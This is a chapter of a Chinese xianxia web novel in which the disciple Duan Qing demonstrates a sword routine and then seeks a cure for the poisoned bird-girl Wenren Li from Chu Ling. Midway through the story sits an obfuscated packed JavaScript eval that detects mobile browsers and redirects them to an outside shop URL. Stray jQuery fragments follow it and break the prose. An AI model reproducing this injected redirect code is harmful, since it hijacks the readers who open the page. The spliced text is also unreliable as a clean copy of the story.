第二天用过早饭,段清要去试炼场。
刘敬平一大清早就在岛上发脾气,这个人闻人黎感觉有点像全自动炮仗,明明没人招惹他,他总是能从各个角度挑出不顺心的事。
然后开始找茬,这不是有病吗?
闻人黎不想理他,干脆跟着段清去试炼场。
蓬莱的试炼场在方丈岛。
蓬莱的弟子,方丈岛着灰衣,外门弟子着黄衣,另有藏经阁,却荷堂以及其他长老的内门弟子都各有标识。
瀛洲岛则是白衣云纹。
但连他们师父刘敬平都不穿白衣,其他弟子也有学有样,基本没人穿。
林燕萍好青衣,纪灵也好青色,只是他们二人,林燕萍的宽衣大袖偏竹绿。
纪灵日常更习惯穿方便活动的青蓝圆领灯笼裤。
连阮蒙都是一身灰色短打,仅有段清的外袍上确实有瀛洲岛云纹。
此次演武不光方丈岛弟子云集,连外门弟子也在,其间间杂些红蓝衣,宽阔的广场上,粗粗看去约有千余人。
无论是哪个宗门,他们最大的依仗便是宗门内的弟子。
只有源源不断的杰出弟子涌出,门派才能长久。
蓬莱作为撑起整个修真界的四门八派之一,与楚地的云梦宗,蜀地的青城山以及方诸派齐名。
这四大宗门是修真界的佼佼者。
天下派别无数,唯有这四门或凭独特的功法,或依托地形屹立百年不倒。
鼎盛时期各派每年招收弟子上万人,无数散修挤破头希望能进入这四大宗门内修行。
另有其他八家子嗣昌隆的世家大族也会送弟子前来学习。
而如今蓬莱的实力虽然大不如前,早就偏安一隅,不理世事,但底蕴还在。
满门弟子聚在一起,即使静静立在原地,身上也气势魄人。
试炼场前有一高台。
几位长老皆扶手而立,看到段清登上高台,他们微微一笑。
段清也朝他们点头,随即解开外袍随手搭在一旁的椅子上,随即让闻人黎飞上去。
“乖乖等一会。”
闻人黎知道场合严肃,十分老实的听话。
蓬莱十八式剑法是古传的基础剑法。
原本有二十七式,后经师祖顾如风删改,削去繁复无用的九个剑招,留下的十八式剑法形意结合。
要求剑意如湖水浩荡不绝,剑形如卷荷之风,迎倒自如。
形难意更繁。
是四门八派中公认最难的基础剑法。
闻人黎没怎么见过段清舞剑。
即使是在孽海,他虽然拔剑了,但还是以法决为主,黑剑仅作劈斩。
此时拔剑,男子身着黑甲,银冠束发。
腰间的银带虽和外袍一起脱下,但黑甲覆身,更勾出他宽肩窄腰的身形,后背劲拔如松,气势凌厉。
随着一声“众弟子,起剑”的朗呵。
下面演武场齐声应道:“是!”
闻人黎本来还在四下张望,但等段清开始舞剑之时她的视线就直接定住,再也移不开了。
段清不愧是得师祖亲传的蓬莱首徒。
即使闻人黎不懂任何剑法,但仍然能看出他腰转自如,剑既本身。
看他舞剑仿佛这世界仅他一人而已。
一剑勾得乾坤日月倒,一剑可破神魔鬼怪法。
剑意无声,闻人黎本来因为蟾毒这几天一直困困的,
但此时她的心脏又开始咚咚跳个不停,她视线认真,忽然觉得,有点领会到这个修真世界的美妙了。
与此同时她还是想学术法,想要练剑。
闻人黎看得入神,连舞剑什么时候结束的都不知道。
段清收起剑,在她面前打了个响指闻人黎才回神,抬头看他。
男子身上的气势已经收敛,额前一层薄汗,衬得他五官英挺俊俏,揉了揉她的脑袋问:“困了?”
闻人黎摇摇头。
台下的弟子却也如她一般,等段清拿起衣服,试炼场还是静谧无声,仿佛都沉浸在这剑法中。
段清往下看了一眼,嘴角弯起一抹无奈的笑。
似乎早已了然目前情况。
灵气裹着声音,朝下朗声道:“解散罢,回去好生练剑。”
一声止,试炼场上众弟子才如梦初醒般,传来异口同声的"是,大师兄。"
高台上的几位白胡须老者,见状也纷纷笑呵呵地摇头,朝段清夸道:“你剑法颇有师祖遗风,难怪他们看呆了。”
“自古英雄出少年啊,剑法超群,好!”
……
“多谢各位长老赞许,弟子不敢当。”
闻人黎站在他肩膀,听他和长老说了会话,底下的弟子逐渐散去,段清才寻了个时机告别:“诸位长老,瀛洲岛还有些事情,弟子和小师妹就先行告退。”
长老早就注意到他肩膀上的闻人黎。
这些长老也都是第一次见到闻人黎,难免多打量几眼,关切地问道:“你师父那个臭脾气,几十年都未改过。师祖因占卜而仙去,敬平心里难免不畅快,平日你们几个徒弟也多劝着些,让他改改。”
段清点头称是。
*
出了门外面是草地,闻人黎一般情况下都不怎么飞,她在草地上走,段清步伐轻缓的跟在身后。
但不知道为什么,蝴蝶和蜜蜂总是追着她跑。
于是段清就看见闻人黎往前走了一会,又慌里慌张地被蜜蜂追着飞回来,钻进他的衣袖。
段清被逗笑,探手进衣袖捉出闻人黎。
摸出两张黄符,掐决。
黄符顿时变成两个圆头圆脑的小纸人,段清道:“想玩就玩,它们不会再咬你了。”
闻人黎将信将疑地迈出爪子。
那两个小纸人也跟着她迈出腿,闻人黎朝上飞,他们也跟着。
然后一有蜜蜂或者蝴蝶接近,两个小纸人就挥舞着手驱赶。
“……!!”
闻人黎玩得不亦乐乎。
一时间倒忘记了要问昨天毒灵气的事。
直到走到一处湖边凉亭,她眼前出现一抹冰蓝色。
那抹蓝极其通透纯正,仿佛一汪泠泠碎瓷。
闻人黎不由自主地退后两步抬头看。
看见是位长发逶地的女子,青丝如瀑,五官精致柔美,皮肤白皙。
身着曳尾曲裾。
除却额侧悬一块银玉之外再无其他首饰。
但就是美得让人移不开眼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782461|209205||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
闻人黎之前看过一句话,说美人美到极点就会有种鬼感。
面前这个女子正是如此。
望着她时,明明是五月初夏却让人仿佛置身沼泽湖,泠泠玉瓷沁骨。
闻人黎愣住。
女子屈膝朝段清一拜:“云乾师兄。”
声音也如玉石激水,特别好听。
段清也拱手还礼:“不必多礼,我正想去却荷堂寻你。”
“师兄有何事找楚泠?”
段清弯腰托起闻人黎:“前些天”
“斜血蟾?”
楚泠微微蹙眉,从段清手中接过闻人黎。
手指在她身上轻揉,力道柔和,闻人黎感觉到她手指上微薄的凉意。
过了会,楚泠停下动作,脸上露出一丝淡淡的惊色。
“你们给她吃了什么丹药?”
段清点头:“喂了她一颗青纹茴丹。”
“难怪,”楚泠轻点头:“她体内的蟾毒有茴丹中和,并未侵入肺脏。毒血易祛,大师兄她可能修炼?”
段清摇头:“我正因此事而来。她现下还不能修炼,昨日我尝试用真气消去毒灵气,可她经脉细弱,十成真气只消得一缕毒灵,若耽搁太久,我怕她经脉承受不了。”
斜血蟾是瀛洲岛特有的生物。
他们岛屿的职责之一便是看守斜血蟾。
普通人类或者低阶修士若中了斜血蟾的毒,即使侥幸没被腐蚀骨肉,毒灵气也会杀其魂魄,让他们变得痴傻,相当于只有等死而已。
闻人黎现在这种情况已经是幸中之幸。
楚泠抿唇。
低头看向掌中的小鸟,鹅黄色的小团子身边跟着两个小纸人,一同抬头看向她,眼睛圆润可爱。
楚泠伸出手指轻轻拨弄了下她的翅膀。
挽起衣袖,闻人黎这才发现她莹白的手臂上带着些金钏和玉镯。
她取下一个錾金白玉镯,冰蓝轻笼,玉镯便缩小圈口,正正好好戴到闻人黎的右脚上。
玉本性寒,闻人黎顿觉从爪子上传来一阵舒服的凉意,蔓延到全身。
连带着翅膀处的肿胀感也轻了不少。
这一定是什么法宝。
闻人黎低头看了一眼,楚泠道:“这是楚王宫的水玉镯,有护卫心脉压制毒血的作用,可暂时压制蟾毒。既然她无法修炼,我便寻找其他丹药帮她医治,师兄不必担心。”
楚泠语气虽淡,可话里的意味却似胸有成竹。
段清抱拳:“多谢师妹相助。”
旁边的一个小纸人轻轻点了点闻人黎的脑袋,段清道:“快谢谢师姐。”
闻人黎不会说话,她连忙扇了两下翅膀。
楚泠顿时诧异,低头对闻人黎说:“你听得懂我们说话?”
闻人黎点头。
楚泠看起来很喜欢她,手指轻笼住闻人黎的身体道:“怎么中了如此凶险的蟾毒,别害怕。”
她十指如葱白玉段。
段清询问道:“可需要什么药材,我过些时日要出蓬莱,到时可一并寻找。”
楚泠动作轻顿。
片刻,她忽屈膝朝段清拜倒,声如冰纹碎瓷,使人心脏跟着轻颤。
“云乾师兄,楚泠有一事相求。”